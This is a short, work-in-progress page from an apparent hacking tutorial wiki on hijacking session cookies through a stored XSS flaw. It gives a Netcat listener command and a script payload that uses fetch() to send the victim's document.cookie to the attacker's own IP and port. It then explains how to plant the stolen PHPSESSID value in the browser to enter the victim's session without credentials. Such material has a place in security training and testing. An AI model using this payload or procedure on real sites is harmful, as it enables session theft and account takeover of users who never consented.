> For the complete documentation index, see [llms.txt](https://kryptocoder.gitbook.io/hacking-knowledge/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kryptocoder.gitbook.io/hacking-knowledge/web-exploitation-wip/web-vulnerabilities-wip/cookie-hijacking-wip.md).

# Cookie Hijacking (WIP)

When the application is vulnerable to XSS, we could try to hijack cookies such as session tokens that are being stored on the client-side.

Here we find an example of this scenario:

* In an accessed session we can go to the *Inspect>Application>Cookies* tab and check the values that are being stored

{% code title="Example Output" overflow="wrap" lineNumbers="true" fullWidth="false" %}

```
Name               Value                              HttpOnly
...                ...                                ...
PHPIDSESSID        e15df96b271a9729837c2bb206b522c7
...                ...                                ...
```

{% endcode %}

{% hint style="info" %}

* If the `HttpOnly` tag is unmarked, indicates that the cookie can interact with JavaScript code
* `PHPIDSESSID` is the default session cookie on PHP-handled pages
  {% endhint %}

***

* In case we don't see it directly, we can assume that is configured this way and try to get the cookie values directly to our host machine. For this, we set up a listener port with [*Netcat*](/hacking-knowledge/networks-wip/tools-and-utilities.md#netcat)

{% code overflow="wrap" lineNumbers="true" fullWidth="false" %}

```bash
nc -nlvp $port
```

{% endcode %}

***

* We can try to make a cookie hijacking using the Stored XSS vulnerable part

{% code overflow="wrap" lineNumbers="true" fullWidth="false" %}

```bash
#We fill the form with the payload
<script>fetch("$IP:$port" + document.cookie);</script>
#This will get the information on the cookie values
```

{% endcode %}

{% hint style="info" %}
The `$IP` and `$port` values are from our machine and the port opened with *Netcat*
{% endhint %}

***

* Once we have the cookie value we can go to the website page, go to *Inspect>Application>Cookies* tab, and set the cookie value manually. After that, we can reload the page to update these values on the browser

```bash
Name               Value                             
...                ...                                
PHPIDSESSID        $hijackedCookie     #We set the cookie obtained   
...                ...
#This will log us into the session we stole without the need for credentials
```